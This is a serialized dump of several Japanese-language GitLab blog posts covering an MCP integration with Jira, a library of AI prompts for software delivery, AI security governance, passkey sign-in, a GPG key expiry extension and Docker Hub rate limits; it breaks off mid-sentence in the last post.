Find possible blockers that this bug may cause.\n```\n\n```text\nCreate a new branch called issue-gitlab-18, checkout, and link it to the issue we just created. Assign the JIRA issue to me and mark it as in-progress.\n```\n\n### インタラクティブウォークスルー：バグレビューとタスク自動化\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005368?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Bug Review\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n### クロスシステムのインシデント調査\n\n**シナリオ：** 本番環境でインシデントが発生し、Jira（インシデントチケット）、GitLabプロジェクト管理、コードベース、マージリクエストからの情報を照合して根本原因を特定する必要があります。\n\nこのデモでは以下を実演します。\n\n* Jiraからのインシデント詳細の取得\n* GitLabの最近のマージリクエストとの照合\n* 関連する可能性のあるコード変更の特定\n* インシデントタイムラインの生成\n* 修正計画の設計とGitLabのワークアイテムとしての作成\n\n#### プロンプト例\n\n```text\n\"We have a production incident INC-1 about checkout failures. Can you help me investigate with all available context?\"\n```\n\n```text\nCreate a timeline of events for incident INC-1 including related Jira issues and recent deployments\n```\n\n```text\nPropose a remediation plan\n```\n\n### インタラクティブウォークスルー：クロスシステムのトラブルシューティングと修正\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1170005413?badge=0&autopause=0& player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Cross System Investigation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## トラブルシューティング\n\nよくあるセットアップの問題と解決策を以下にまとめます。\n\n| 問題 | 解決策 |\n| ----- | ----- |\n| 「MCP server not found」 | `mcp.json` ファイルが正しい場所にあり、適切にフォーマットされていることを確認してください。 |\n| 「Authentication failed」 | OAuth認証情報を再確認し、Atlassianでスコープが正しく設定されていることを確認してください。 |\n| 「No Jira tools available」 | `mcp.json` を更新後にVS Codeを再起動し、GitLabでMCPが有効になっていることを確認してください。 |\n| 「Connection timeout」 | `mcp.atlassian.com` へのネットワーク接続を確認してください。 |\n\n\u003Cbr/> 詳細なトラブルシューティングについては、[GitLab MCPクライアントのドキュメント](https://docs.gitlab.com/ja-jp/user/gitlab_duo/model_context_protocol/mcp_clients/)をご参照ください。\n\n\n## セキュリティに関する考慮事項\n\nJiraをGitLab Duo Agent Platformと統合する際は、以下の点にご注意ください。\n\n* **OAuthトークン** — 認証情報を安全に管理してください。\n* **最小権限の原則** — Jiraスコープは必要最小限のみ付与してください。\n* **トークンのローテーション** — セキュリティ管理の一環として、OAuth認証情報を定期的にローテーションしてください。\n\n\n## まとめ\n\nMCPを通じてGitLab Duo Agent Platformをさまざまなツールに接続することで、開発ライフサイクルとのインタラクションが大きく変わります。この記事では、以下の方法を学びました。\n\n* **自然言語による課題の照会** — バックログ、スプリント、インシデントについて自然言語で質問できます。\n* **DevSecOps環境全体での課題の作成と更新** — IDEを離れることなくバグを報告し、チケットを更新できます。\n* **システム間の情報照合** — JiraのデータをGitLabのプロジェクト管理、マージリクエスト、パイプラインと組み合わせることで、全体的な可視性が得られます。\n* **コンテキスト切り替えの削減** — プロジェクト管理とのつながりを維持しながら、コードに集中できます。\n\nこの統合は、MCPの可能性を体現するものです。AIを通じてツールへの標準化されたセキュアなアクセスを提供し、ガバナンスやセキュリティを損なうことなく、デベロッパーがより効率的に作業できる環境を実現します。\n\n\n## 関連リソース\n\n* [Model Context Protocol統合](https://about.gitlab.com/ja-jp/blog/duo-agent-platform-with-mcp/)\n\n* [Model Context Protocolとは](https://about.gitlab.com/topics/ai/model-context-protocol/)\n\n* [エージェント型AIに関するガイドとリソース](https://about.gitlab.com/ja-jp/blog/agentic-ai-guides-and-resources/)\n\n* [GitLab MCPクライアントのドキュメント](https://docs.gitlab.com/ja-jp/user/gitlab_duo/model_context_protocol/mcp_clients/)\n\n* [GitLab Duo Agent Platformを始める：完全ガイド](https://about.gitlab.com/ja-jp/blog/gitlab-duo-agent-platform-complete-getting-started-guide/)",[832],"Albert Rabassa","2026-03-30","2026-03-05","MCPであらゆるツールを接続してGitLab Duo Agent Platformを拡張",[745,822],"MCPを使用して外部ツールをGitLab Duo Agent Platformに接続する方法を解説します。3つの実践的なワークフローデモを含むステップバイステップのセットアップガイドです。",{"featured":641,"template":796,"slug":839},"extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp",{"content":841,"config":852},{"heroImage":842,"body":843,"authors":844,"updatedDate":846,"date":847,"title":848,"tags":849,"description":851,"category":654},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772632341/duj8vaznbhtyxxhodb17.png","AIを活用したコーディングツールにより、開発者はこれまで以上に速くコードを生成できるようになりました。では、なぜチーム全体の *リリース速度* は上がらないのでしょうか？\n\nそれは、コーディングがソフトウェア提供ライフサイクルの20%に過ぎず、残りの80%がボトルネックになっているからです。コードレビューの滞留、セキュリティスキャンの遅れ、ドキュメントの陳腐化、手動の調整作業の増加が、チームの速度を妨げています。\n\n嬉しいことに、個人のコーディングを加速する同じAI機能を使って、チームレベルの遅延も解消できます。コーディングフェーズだけでなく、ソフトウェアライフサイクル全体にAIを適用することが重要です。\n\n以下は、[GitLab Duo Agent Platformプロンプトライブラリ](https://about.gitlab.com/gitlab-duo/prompt-library/)から厳選した、すぐに使える10のプロンプトです。個人の生産性が向上する一方でチームプロセスの改善が追いついていないときに生じる、よくある障害を乗り越えるために役立ちます。\n\n## コードレビューをボトルネックから加速装置へ\n\nAIの支援により開発者はマージリクエストをより速く作成できるようになりましたが、コードレビューのサイクルが数時間から数日に伸びるにつれ、人間のレビュアーはすぐに手に負えなくなります。AIは定型的なレビュー作業を担うことで、レビュアーが基本的な論理エラーやAPI契約違反の発見に時間を取られることなく、アーキテクチャやビジネスロジックに集中できるようにします。\n\n### マージリクエストの論理エラーをレビューする\n\n**複雑さ**: 初級\n\n**カテゴリ**: コードレビュー\n\n**ライブラリのプロンプト**:\n\n```text\nこのMRの論理エラー、エッジケース、潜在的なバグをレビューしてください: [MRのURLまたはコードを貼り付け]\n```\n\n**効果**: 自動リンターは構文エラーを検出しますが、論理エラーの発見にはコードの意図を理解する必要があります。このプロンプトは、人間のレビュアーがコードを確認する前にバグを検出し、複数回のレビューサイクルを多くの場合1回の承認で完結させます。\n\n### マージリクエストの破壊的変更を特定する\n\n**複雑さ**: 初級\n\n**カテゴリ**: コードレビュー\n\n**ライブラリのプロンプト**:\n\n```text\nこのMRに破壊的変更はありますか？\n\nChanges:\n[code diffを貼り付け]\n\n以下を確認してください：\n1. APIシグネチャの変更\n2. publicメソッドの削除またはリネーム\n3. 戻り値の型の変更\n4. データベーススキーマの変更\n5. 設定の破壊的変更\n```\n\n**効果**: デプロイ中に破壊的変更が発見されると、ロールバックやインシデントにつながります。このプロンプトにより、その発見をマージリクエストの段階に前倒しできるため、修正がより迅速かつ低コストになります。\n\n## セキュリティをシフトレフトしながら速度を落とさないには？\n\nセキュリティスキャンは数百件もの検出結果を生成します。開発者がデプロイの承認を待つ間、セキュリティチームはそれぞれを手動でトリアージしています。検出結果の多くはフォルスポジティブや低リスクの問題ですが、実際の脅威を特定するには専門知識と時間が必要です。AIは実際の悪用可能性に基づいて検出結果を優先順位付けし、一般的な脆弱性を自動修復することで、セキュリティチームが本当に重要な脅威に集中できるようにします。\n\n### セキュリティスキャン結果を分析する\n\n**複雑さ**: 中級\n\n**カテゴリ**: セキュリティ\n\n**エージェント**: Duo Security Analyst\n\n**ライブラリのプロンプト**:\n\n```text\n@security_analyst このセキュリティスキャン結果を分析してください:\n\n[スキャン結果を貼り付け]\n\n各検出結果について:\n1. 実際のリスクかフォルスポジティブかを評価する\n2. 脆弱性を説明する\n3. 修復方法を提案する\n4. 深刻度で優先順位をつける\n```\n\n**効果**: セキュリティスキャンの検出結果の多くはフォルスポジティブや低リスクの問題です。このプロンプトはセキュリティチームが本当に重要な検出結果に集中できるようにし、修復にかかる時間を数週間から数日に短縮します。\n\n### コードのセキュリティ問題をレビューする\n\n**複雑さ**: 中級\n\n**カテゴリ**: セキュリティ\n\n**エージェント**: Duo Security Analyst\n\n**ライブラリのプロンプト**:\n\n```text\n@security_analyst このコードのセキュリティ問題をレビューしてください:\n\n[コードを貼り付け]\n\n以下を確認してください：\n1. インジェクション脆弱性\n2. 認証・認可の欠陥\n3. データ漏洩リスク\n4. 安全でない依存関係\n5. 暗号化の問題\n```\n\n**効果**: 従来のセキュリティレビューはコードが書かれた後に行われます。このプロンプトにより、開発者はマージリクエストを作成する前にセキュリティ問題を発見・修正でき、デプロイを遅らせる往復のやり取りを解消します。\n\n## コードの変更に合わせてドキュメントを最新に保つには？\n\nコードはドキュメントよりも速く変化します。ドキュメントが古かったり不足していたりするため、新しい開発者のオンボーディングには数週間かかります。ドキュメントの重要性はチーム全員が理解していますが、締め切りが近づくと常に後回しになります。標準ワークフローの一部としてドキュメントの生成と更新を自動化することで、手動作業を増やすことなくドキュメントを最新の状態に保てます。\n\n### マージリクエストからリリースノートを生成する\n\n**複雑さ**: 初級\n\n**カテゴリ**: ドキュメント\n\n**ライブラリのプロンプト**:\n\n```text\nマージ済みのこれらのMRのリリースノートを生成してください:\n[MRのURL一覧またはタイトルを貼り付け]\n\n以下のカテゴリでグループ化してください:\n1. 新機能\n2. バグ修正\n3. パフォーマンス改善\n4. 破壊的変更\n5. 非推奨事項\n```\n\n**効果**: リリースノートを手動でまとめるには数時間かかり、誤りや漏れが生じることもあります。自動生成により、リリースプロセスに負担をかけることなく、すべてのリリースに包括的なノートが揃います。\n\n### コード変更後にドキュメントを更新する\n\n**複雑さ**: 初級\n\n**カテゴリ**: ドキュメント\n\n**ライブラリのプロンプト**:\n\n```text\nこのコードを変更しました:\n\n[コード変更内容を貼り付け]\n\nどのドキュメントを更新する必要がありますか？以下を確認してください:\n1. READMEファイル\n2. APIドキュメント\n3. アーキテクチャ図\n4. オンボーディングガイド\n```\n\n**効果**: ドキュメントの乖離は、コード変更後にどのドキュメントを更新すべきかをチームが忘れることで起きます。このプロンプトにより、ドキュメントのメンテナンスが後回しにされる別タスクではなく、開発ワークフローの一部になります。\n\n## 計画の複雑さを分解するには？\n\n大規模な機能は計画段階で行き詰まりがちです。チームは作業範囲の定義と依存関係の特定のために何週間も会議を重ねます。複雑さに圧倒され、どこから始めればよいかわからなくなります。AIは複雑な作業を具体的で実装可能なタスクに体系的に分解し、明確な依存関係と受け入れ基準を設定することで、何週間もの計画を集中した実装へと変えます。\n\n### エピックをイシューに分解する\n\n**複雑さ**: 中級\n\n**カテゴリ**: ドキュメント\n\n**エージェント**: Duo Planner\n\n**ライブラリのプロンプト**:\n\n```text\nこのエピックを実装可能なイシューに分解してください：\n\n[エピックの説明]\n\n以下を考慮してください：\n1. 技術的な依存関係\n2. 適切なイシューのサイズ\n3. 明確な受け入れ基準\n4. 論理的な実装順序\n```\n\n**効果**: このプロンプトにより、1週間分の計画会議が30分のAI支援による分解とチームレビューに変わります。チームはより明確な方向性を持って、より早く実装を開始できます。\n\n## 工数を増やさずにテストカバレッジを拡大するには？\n\n開発者はコードをより速く書けるようになりましたが、テストが追いつかないとカバレッジが低下してバグが見逃されます。包括的なテストを手動で書くには時間がかかり、締め切りのプレッシャーの下でエッジケースを見落とすことも多くあります。テストを自動生成することで、開発者はゼロから書く代わりにレビューと改善に集中でき、速度を犠牲にすることなく品質を維持できます。\n\n### ユニットテストを生成する\n\n**複雑さ**: 初級\n\n**カテゴリ**: テスト\n\n**ライブラリのプロンプト**:\n\n```text\nこの関数のユニットテストを生成してください：\n\n[関数を貼り付け]\n\n以下のテストを含めてください：\n1. 正常系\n2. エッジケース\n3. エラー条件\n4. 境界値\n5. 不正な入力\n```\n\n**効果**: テストを手動で書くには時間がかかり、エッジケースが見落とされることもあります。このプロンプトは数秒で網羅的なテストスイートを生成し、開発者はゼロから書く代わりにレビューと調整に集中できます。\n\n### テストカバレッジのギャップをレビューする\n\n**複雑さ**: 初級\n\n**カテゴリ**: テスト\n\n**ライブラリのプロンプト**:\n\n```text\n[モジュール/コンポーネント]のテストカバレッジを分析してください：\n\n現在のカバレッジ：[パーセンテージ]\n\n以下を特定してください：\n1. テストされていない関数・メソッド\n2. カバーされていないエッジケース\n3. 不足しているエラーシナリオのテスト\n4. テストのない統合ポイント\n5. 次にテストすべき優先領域\n```\n\n**効果**: このプロンプトは、本番インシデントを引き起こす前にテストスイートのブラインドスポットを明らかにします。チームはより重要な箇所から体系的にカバレッジを改善できます。\n\n## デバッグ時の平均解決時間を短縮するには？\n\n本番インシデントの診断には数時間かかります。顧客がダウンタイムを経験する中、開発者はログやスタックトレースを調べ続けます。デバッグの1分1分が、生産性と潜在的な収益の損失につながります。AIは複雑なエラーメッセージを解析して具体的な修正案を提示することで根本原因分析を加速し、診断時間を数時間から数分に短縮します。\n\n### 失敗したパイプラインをデバッグする\n\n**複雑さ**: 初級\n\n**カテゴリ**: デバッグ\n\n**ライブラリのプロンプト**:\n\n```text\nこのパイプラインが失敗しています：\n\nジョブ：[ジョブ名]\nステージ：[ステージ]\nエラー：[エラーメッセージ/ログを貼り付け]\n\n\n以下を助けてください:\n1. 根本原因を特定する\n2. 修正方法を提案する\n3. なぜ失敗し始めたかを説明する\n4. 同様の問題を防ぐ\n```\n\n**効果**: CI/CDの失敗はチーム全体をブロックします。このプロンプトは、開発者が通常15〜30分かけて調査する問題を数秒で診断し、デプロイの速度を維持します。\n\n## 個人の成果からチームの加速へ\n\nこれらのプロンプトは、チームがソフトウェア提供にAIを活用する方法の転換を示しています。個人の開発者生産性だけに注目するのではなく、チームの速度を実際に制約している調整・品質・ナレッジ共有の課題に対処します。\n\n[プロンプトライブラリ](https://about.gitlab.com/gitlab-duo/prompt-library/)には、計画、開発、セキュリティ、テスト、デプロイ、運用といったソフトウェアライフサイクルの全ステージにわたる100以上のプロンプトが収録されています。各プロンプトは複雑さのレベル（初級・中級・上級）でタグ付けされ、ユースケース別に分類されているため、チームに合ったスタート地点を簡単に見つけられます。\n\nまずはチームの最も緊急な課題に対応する「初級」タグのプロンプトから始めましょう。チームが自信をつけるにつれ、より高度なワークフローを実現する中級・上級のプロンプトへと探求の幅を広げてください。目標は単に速いコーディングではなく、計画から本番まで、より速く、より安全で、より高品質なソフトウェア提供の実現です。",[845],"Chandler Gibbons","2026-03-13","2026-03-04","チームのソフトウェア提供を加速する10のAIプロンプト",[806,850],"DevOps platform","ソフトウェアライフサイクル全体をカバーするすぐに使えるAIプロンプトで、レビューの滞留、セキュリティの遅延、調整の手間を解消します。",{"featured":641,"template":796,"slug":853},"10-ai-prompts-to-speed-your-teams-software-delivery",{"content":855,"config":864},{"heroImage":856,"body":857,"authors":858,"updatedDate":833,"date":860,"title":861,"tags":862,"description":863,"category":654},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","Anthropic社は先ごろ、脆弱性の検出と修正案の提示を行うAIシステム「Claude Code Security」を発表しました。投資家がAIによる従来のAppSecツールの代替可能性に疑問を持ち始めたことで市場はすぐに反応し、セキュリティ関連銘柄が下落しました。多くの人の頭には同じ問いが浮かびました。AIがコードを記述してセキュリティを担保できるなら、アプリケーションセキュリティは時代遅れになるのか、という問いです。\n\nセキュリティがコードのスキャンのみを意味するなら、答えはイエスかもしれません。しかし、エンタープライズセキュリティは検出だけできればよいというものではありません。\n\n組織の問いは、AIが脆弱性を発見できるかどうかではありません。それよりもはるかに難しい3つの問題です。\n\n* リリースしようとしているソフトウェアは安全か  \n* 環境が変化し、依存関係、サードパーティサービス、ツール、インフラが絶えず移り変わる中で、リスク体制は変化したか  \n* AIやサードパーティのソースによって作成される割合が増えたにもかかわらず、依然として自社が責任を負うコードベースをどのようにガバナンスするか\n\nこれらの問いにはプラットフォームとしての答えが必要です。検出はリスクを可視化しますが、次に何をすべきかを決めるのはガバナンスです。\n\n[GitLab](https://about.gitlab.com/ja-jp/)は、ソフトウェアライフサイクルをエンドツーエンドでガバナンスするために構築されたオーケストレーションレイヤーです。チームがAIを活用した開発スピードに対応するために必要な、ポリシー適用、可視性、監査証跡を実現します。\n\n## AIを信頼するにはリスクのガバナンスが必要\n\nAIシステムは脆弱性の特定と修正提案の能力を急速に向上させています。これは重要かつ歓迎すべき進歩ですが、分析は説明責任とは異なります。\n\nAIが独自の裁量で会社のポリシーを適用したり、許容リスクを定義したりすることはできません。エージェントが運用される境界、ポリシー、ガードレールを設定するのは人間です。職務の分離を確立し、監査証跡を確保し、何千ものリポジトリとチーム全体で一貫したコントロールを維持するのも人間の役割です。エージェントへの信頼は自律性だけから生まれるのではなく、人間が設定した明確に定義されたガバナンスから生まれます。\n\nソフトウェアにおいて、エージェント型AIシステムによる記述・変更がますます増える[エージェント型AIの世界](https://about.gitlab.com/ja-jp/topics/agentic-ai/)では、ガバナンスの重要性は低下するどころか、むしろ高まります。組織がAIに与える自律性が高まれば高まるほど、ガバナンスはより強固でなければなりません。\n\nガバナンスは不要な手間ではありません。AIを活用した開発を大規模に信頼できるものにするために必要な基盤です。\n\n## LLMはコードを見るが、プラットフォームはコンテキストを見る\n\n大規模言語モデル（[LLM](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/)）はコードを単体で評価します。一方、エンタープライズのアプリケーションセキュリティプラットフォームはコンテキストを理解します。リスクの判断は次のようなコンテキストに依存するため、この違いは重要です。\n\n* 変更を加えたのは誰か  \n* そのアプリケーションはビジネスにとってどれほど重要か  \n* インフラや依存関係とどのように連携しているか  \n* その脆弱性は本番環境で実際に到達可能なコードに存在するのか、それとも一度も実行されない依存関係に埋もれているのか  \n* アプリケーションの実行方法、API、その周辺環境を踏まえると、本番環境で実際に悪用可能か\n\nセキュリティの判断はこうしたコンテキストに基づいて行います。コンテキストがなければ、検出はノイズの多いアラートを生み出し、リスクを低減するどころか開発を遅延させます。コンテキストがあれば、組織はトリアージを迅速に行い、リスクを効果的に管理できます。ソフトウェアが変化し続ける中でコンテキストも絶えず変化するため、ガバナンスは一度きりの判断では済みません。\n\n## 静的スキャンは動的リスクに追いつかない\n\nソフトウェアのリスクは動的です。依存関係は変わり、環境は変化し、システムはいかなる分析でも完全には予測できない方法で相互作用します。特定時点でのクリーンスキャンでは、リリース時の安全性を保証できません。\n\nエンタープライズセキュリティが依拠するのは継続的な保証です。ソフトウェアのビルド、テスト、デプロイの過程でリスクを評価する、開発ワークフローに直接組み込まれたコントロールが必要です。\n\n検出により洞察が得られます。ガバナンスにより信頼が生まれます。そして、組織の大規模かつ安全なリリースを実現するのが、継続的なガバナンスです。\n\n## エージェント型AIの未来をガバナンスする\n\nAIはソフトウェアの作り方を根本から変えつつあります。問われるのはもはや、チームがAIを活用するかどうかではなく、いかに安全にスケールさせるかという点です。\n\n今日のソフトウェアは新規に記述されるのと同じくらい再形成されています。AIが生成したコード、オープンソースライブラリ、何千ものプロジェクトにまたがるサードパーティの依存関係から集められ再構成されているのです。それらすべてのソースにわたってリリースするソフトウェアをガバナンスすることは、アプリケーションセキュリティの中で最も困難かつ重大な部分であり、いかなるデベロッパー向けツールにも対処できない問題です。\n\nインテリジェントなオーケストレーションプラットフォームとして、GitLabはこの問題に対処するために構築されています。GitLab Ultimateは、ソフトウェアの計画、ビルド、リリースが行われるワークフローに、ガバナンス、ポリシー適用、セキュリティスキャン、監査証跡を直接組み込んでいます。これにより、セキュリティチームはAIのスピードに合わせてガバナンスを実現できます。\n\nAIは開発を劇的に加速させるでしょう。そして、AIから最大の恩恵を受けられるのは、最も優秀なアシスタントを持つ組織ではなく、強固なガバナンスを通じて信頼を構築できる組織です。\n\n> GitLabが組織による[AI生成のコードのガバナンスと安全なリリース](https://about.gitlab.com/ja-jp/solutions/software-compliance/?utm_medium=blog&utm_campaign=eg_global_x_x_security_en_)をどのように支援しているかについては、[今すぐGitLabにお問い合わせください](https://about.gitlab.com/ja-jp/sales/?utm_medium=blog&utm_campaign=eg_global_x_x_security_en_)\n\n\n ## 関連記事\n\n - [AIとDevOpsを統合してセキュリティを強化](https://about.gitlab.com/ja-jp/topics/devops/ai-enhanced-security/)\n - [セキュリティリーダーのためのGitLab AIセキュリティフレームワーク](https://about.gitlab.com/blog/the-gitlab-ai-security-framework-for-security-leaders/)\n - [コンポジットIDでGitLabのAIセキュリティを強化する](https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities/)",[859],"Omer Azaria","2026-02-27","AIは脆弱性を検出できるが、リスクの責任は誰がとる？",[806,757],"AIを活用した脆弱性検出は急速に進化していますが、それに伴ってますます難しくなるポリシーの適用、ガバナンス、サプライチェーンセキュリティという課題には、包括的なプラットフォームが必要です。",{"featured":13,"template":796,"slug":865},"ai-can-detect-vulnerabilities-but-who-governs-risk",{"category":669,"slug":667,"posts":867},[868,880,892],{"content":869,"config":878},{"title":870,"description":871,"authors":872,"heroImage":874,"date":875,"body":876,"category":667,"tags":877},"GitLabでパスキーによるパスワードレスサインインと2FAが利用可能に","アカウントにパスキーを登録する方法と、フィッシング耐性のある2要素認証の仕組みについて解説します。",[873],"GitLab","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772029801/qk75nu1eezxa6aiefpup.png","2026-02-25","GitLabでパスキーが利用可能になり、より安全で便利なアカウントアクセス方法を提供します。パスキーは、パスワードレスサインインまたはフィッシング耐性のある2要素認証（2FA）方法として使用できます。パスキーを使用すると、デバイスの指紋認証、顔認識、またはPINを使って認証を行うことができます。2FAが有効になっているアカウントでは、パスキーが自動的にデフォルトの2FA方法として利用可能になります。\n\n\u003Cfigure class=\"video_container\"> \u003Ciframe src=\"https://www.youtube.com/embed/LN5MGRdTHR8?si=OOebJZzN3LkSmzNv\" title=\"Passwordless authentication using passkeys\" frameborder=\"0\" allowfullscreen=\"true\">\u003C/iframe> \u003C/figure>\n\n\u003Cbr>\u003C/br>\n\nアカウントにパスキーを登録するには、プロフィール設定にアクセスし、**アカウント > 認証管理**を選択してください。\n\nパスキーはWebAuthn技術と、秘密鍵と公開鍵で構成される公開鍵暗号化を使用しています。秘密鍵はデバイス上に安全に保存され、決して外部に送信されることはありません。一方、公開鍵はGitLabに保存されます。仮にGitLabが侵害されたとしても、攻撃者は保存された認証情報を使用してアカウントにアクセスすることはできません。パスキーは、デスクトップブラウザ（Chrome、Firefox、Safari、Edge）、モバイルデバイス（iOS 16以降、Android 9以降）、FIDO2ハードウェアセキュリティキーで動作し、複数のデバイスにパスキーを登録して便利にアクセスできます。\n\n![Passkeys sign-in with two-factor authentication](https://res.cloudinary.com/about-gitlab-com/image/upload/v1767807931/n652nkgvna1rsymlfzpi.png)\n\nGitLabは[CISA Secure by Design Pledge](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)に署名し、セキュリティ対策状況の改善とお客様がより迅速に安全なソフトウェアを開発できるよう支援することをコミットしています。この誓約の主要な目標の一つは、製造業者の製品全体で[多要素認証（MFA）](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/#multi-factor-authentication-mfa)の使用を拡大することです。パスキーはこの目標の重要な要素であり、GitLabへのサインインをより安全で便利にするシームレスでフィッシング耐性のあるMFA方法を提供します。\n\nご質問がある場合、体験を共有したい場合、または潜在的な改善についてチームと直接やり取りしたい場合は、[フィードバックイシュー](https://gitlab.com/gitlab-org/gitlab/-/work_items/366758)をご覧ください。\n",[757,745],{"featured":641,"template":796,"slug":879},"passkeys-now-available-for-passwordless-sign-in-and-2fa-on-gitlab",{"content":881,"config":890},{"title":882,"description":883,"heroImage":884,"authors":885,"date":887,"body":888,"category":667,"tags":889},"GitLabパッケージリポジトリのメタデータ署名に使用されるGPGキーの有効期限が延長されました","packages.gitlab.comのGitLab Packagecloudインスタンスでリポジトリメタデータの署名に使用されるGPGキーの有効期限が延長されました。以下に重要な情報をまとめました。","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771934335/c4f7zzdelhwcihaqwxym.png",[886],"Denis Afonso","2026-02-24","GitLabでは、公式のomnibus-gitlabおよびgitlab-runnerパッケージの配布に使用される各種aptおよびyumリポジトリのメタデータに署名するためにGPGキーを使用しています。これにより、パッケージ自体が別のキーで署名されることに加えて、パッケージの整合性を確保しています。\n\n現在メタデータの署名に使用されているキーのフィンガープリントは`F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`で、2026年2月27日に期限切れとなる予定でしたが、2028年2月6日まで延長されました。\n\n## なぜ有効期限を延長するのですか\n\nリポジトリメタデータ署名キーの有効期限は、GitLabのセキュリティポリシーに準拠し、キーが侵害された場合の影響を制限するために定期的に延長されています。新しいキーへのローテーションではなく有効期限の延長を行うのは、ユーザーへの影響を最小限に抑えるためです。ローテーションを行った場合、すべてのユーザーが信頼済みキーを置き換える必要があります。\n\n## 何をすればいいですか\n\n2026年2月17日より前にお使いのマシンでGitLabリポジトリを既に設定している場合は、[新しいキーの取得と追加方法](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys)に関する公式ドキュメントをご確認ください。\n\n新規ユーザーの方は、[GitLabインストールページ](https://about.gitlab.com/install/)または[gitlab-runnerインストールドキュメント](https://docs.gitlab.com/runner/install/linux-repository.html)に従っていただく以外に、特別な対応は必要ありません。\n\n[リポジトリメタデータ署名の検証](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys)に関する詳細情報は、Omnibusドキュメントでご確認いただけます。公開キーのコピーを更新する必要がある場合は、support@gitlab.comで検索するか、キーID `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F`を使用して、任意のGPGキーサーバーで見つけることができます。\n\nまたは、次のURLを使用してpackages.gitlab.comから直接ダウンロードすることも可能です：`https://packages.gitlab.com/gpg.key`\n\n## さらにサポートが必要な方は\n\n[omnibus-gitlabイシュートラッカー](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug)でイシューを作成してください。",[745],{"featured":641,"template":796,"slug":891},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"content":893,"config":903},{"title":894,"description":895,"authors":896,"heroImage":898,"date":899,"body":900,"category":667,"tags":901,"updatedDate":902},"今すぐ対策を：Docker Hubのレート制限がGitLab CI/CDに与える影響","Docker Hubの新しいプルレート制限がGitLabのパイプラインにどのような影響を与えるか、また、その影響によってCI/CDパイプラインが中断されるのを防ぐ対策を解説します。",[897],"Tim Rizzi","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662488/Blog/Hero%20Images/blog-image-template-1800x945__3_.png","2025-03-24","2025年4月1日より、DockerはDocker\nHubに新たな[プルレート制限](https://docs.docker.com/docker-hub/usage/)を導入します。これは、GitLabで稼働しているものを含め、業界全体のCI/CDパイプラインに大きな影響を及ぼす可能性があります。最も大きな変更点は、未認証ユーザーに対して1時間あたり10回までというプル制限が設けられることです。\n\n## 変更点\n\n4月1日から、Dockerは以下のプルレート制限を適用します。\n\n| ユーザータイプ | 1時間あたりのプルレート制限 | パブリックリポジトリ数 | プライベートリポジトリ数 |\n|-----------|--------------------------|-------------------------------|--------------------------------|\n| Business、Team、Pro（認証済） | 無制限（フェアユース） | 無制限 | 無制限 |\n| Personal（認証済） | 100 | 無制限 | 最大1つ |\n| 未認証ユーザー | IPv4アドレスまたはIPv6/64サブネットごとに1時間あたり10回 | 該当なし | 該当なし |\n\n\u003Cp>\u003C/p>\n\nこの変更が重要な理由は以下のとおりです。\n\n* GitLabの依存プロキシは現在、未認証ユーザーとしてDocker Hubからプルしています。\n\n* 依存プロキシを使用していないほとんどのCI/CDパイプラインは、未認証ユーザーとしてDocker Hubから直接プルしています。\n\n* GitLab.comのホステッドランナーでは、複数のユーザーが同じIPアドレスやサブネットを共有することがあり、全体がこの制限の対象になります。\n\n## GitLabユーザーへの影響\n\n**Docker Hubからの直接プルに関する影響**\n\nCI/CDパイプラインがDocker\nHubから認証なしで直接イメージをプルしている場合、IPアドレスごとに1時間あたり10回の制限が適用されます。頻繁に実行されるパイプラインや、同じランナーインフラを共有している複数プロジェクトでは、この制限にすぐに達してしまい、パイプラインの失敗が発生する可能性があります。\n\n**GitLab依存プロキシへの影響**\n\nGitLabの依存プロキシ機能は、DockerイメージをGitLab内にキャッシュすることでパイプラインの高速化や外部依存関係の削減を実現します。ただし、現在の実装では未認証ユーザーとしてDocker\nHubからプルしているため、これも1時間あたり10回という制限の対象になります。\n\n**ホステッドランナーへの影響**\n\nGitLab.comのホステッドランナーでは、[Google\nCloudのプルスルーキャッシュ](https://cloud.google.com/artifact-registry/docs/pull-cached-dockerhub-images?hl=ja)を使用しています。これにより、よく使われるイメージがミラーされ、レート制限を回避できます。`.gitlab-ci.yml`ファイル内で`image:`または`services:`として定義されたジョブイメージは、レート制限の影響を受けません。\n\n一方で、ランナー環境内でイメージをプルするケースではやや複雑になります。ランナー実行中にイメージをプルする最も一般的なユースケースは、Docker-in-DockerやKanikoを使ってイメージをビルドする場合です。このシナリオでは、`Dockerfile`で指定されたDocker\nHubのイメージが直接プルされるため、レート制限の影響を受ける可能性があります。\n\n## GitLabの対応\n\nこの問題を緩和するため、GitLabでは以下の対応を進めています。\n\n* 